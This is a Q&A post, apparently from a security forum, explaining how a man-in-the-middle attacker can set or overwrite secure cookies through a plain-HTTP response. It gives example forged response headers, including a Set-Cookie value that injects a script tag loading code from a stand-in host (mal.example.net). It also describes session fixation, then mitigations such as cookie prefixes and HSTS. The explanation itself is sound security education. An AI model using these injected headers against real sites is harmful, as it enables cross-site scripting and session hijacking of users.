How is cookie susceptible to MIM attack when it is using secure attribute over https connection?

Link: https://www.youtube.com/watch?v=ND_IaksBRQE (12:51)

Suppose if man in middle attack is attempted, then the attacker will not be able to decipher the request since it is encrypted. Then how is it possible that they can add can affect the cookie integrity?

Solution

In the video at 12:09, the presenter noted, "in any type of clear-text communication, Mallory can still write or change these cookies". The key term is clear-text. You noted how "the attack will not be able to decipher the request since it is encrypted", and that is true if 1) the secure attribute, if supported correctly by the browser, will ensure that the contents of the cookie is sent only through a secured channel from the client's browser to the server, and 2) the secure channel is not compromised in any way. As both of these are typically true in the modern internet under normal and ideal conditions, we can assume that the attacker will not be able to read any secure cookies being a fact.

However, there are definitely ways for Mallory, the party engaging in an MITM attack, to write/change secure cookies. As "a server can't confirm that a cookie was set from a secure origin or even tell where a cookie was originally set" (as it is the design of the cookie mechanism), Mallory can leverage this opening, can trick Alice (the client) to set a cookie on Bob's server at https://bob.example.com/.

I am going to provide a somewhat benign scenario of attack. Assuming Bob's server is naive and will set and a cookie for locking a client out of the server using a header like Set-Cookie: lockout_until=2147483647; Secure (a more savvy user may just delete that cookie and see if Bob's site works again, but digressing a bit here now), we can't assume Mallory can't abuse this fact to get Bob's server to lock Alice out.

If Mallory can get Alice's browser to make a request to http://bob.example.com (even if Bob's server does not listen on port 80 - remember, Mallory already has full control (via MITM) between Alice and Bob) - this can be achieved using various ways, but two examples: 1) Mallory tells Alice to visit http://bob.example.com with a browser through a message or 2) Mallory simply waits patiently for Alice's browser to make a request over port 80 and hope it was made by the browser, and sends a redirect to http://bob.example.com, so that it may get Alice's browser to act on the following response, again sent by Mallory:

Content-Type: text/html
Set-Cookie: lockout_until=2147483647;
Refresh: 0; URL=https://bob.example.com/

If Alice's browser thought it accessed http://bob.example.com and then received the above response, it will faithfully set that cookie, and then make a request to https://bob.example.com and send that newly set cookie that was provided by Mallory to Bob's server, thus triggering the lockout mechanism on Bob's server. So Mallory was successful in their attack in getting Alice being denied from Bob's server by simply being able to write something, despite never being able to read any cookie or data sent between Alice and Bob.

While this was a benign example, but imagine if the application on Bob's server assign a "secure" cookie like name=Alice, and that cookie was used as if a trusted value (e.g. emitted onto markup as Hello ${name}) - the immediate threat should become obvious if the payload Mallory sent contains the following header:

Set-Cookie: name=<script src="http://mal.example.net/payload.js"></script>

Bob's fatal naive trust of cookies effective resulted in a Privilege Escalation Attack (via cross-site scripting), which allowed Mallory to launch a script under their control on Alice's browser that is viewing Bob's website, resulting in the complete compromise of the security of Alice's browser session on Bob's website, and potentially Bob's server if Alice's credentials on that server permits further activity.

Another attack method is session fixation, where the above technique is used, but instead the attacker delivers the relevant cookies relates to the session that they have active on the site they want the victim's privileges in to the victim they want access from. (Typically, those cookies would not be attached to an active log-in so it would start logged-out). Victim using the plain HTTP link would then have their session fixed to one that the attacker controls, and if victim logs in with their credentials using that session, the attacker, also having full knowledge the cookies relevant to maintaining a session (they did force it upon the victim), will also be in control of that logged in session and can have all the privileges that the victim has on the target site.

There is mitigation for this, the __Host- or __Secure- prefix may be used, though the application on Bob's server will need to use and check for this prefix for all the cookies the server sent in order to be secured against this vector of unchecked setting of cookies.

That all being said, if Strict-Transport-Security header is also being used and the victim's browser has active knowledge of this header for the target site (either via preload or the victim have visited the site within the header's max-age), should also mitigate this form of attack, as the browser should automatically convert the http request to https. However, all defense strategies should be used to achieve defense in depth.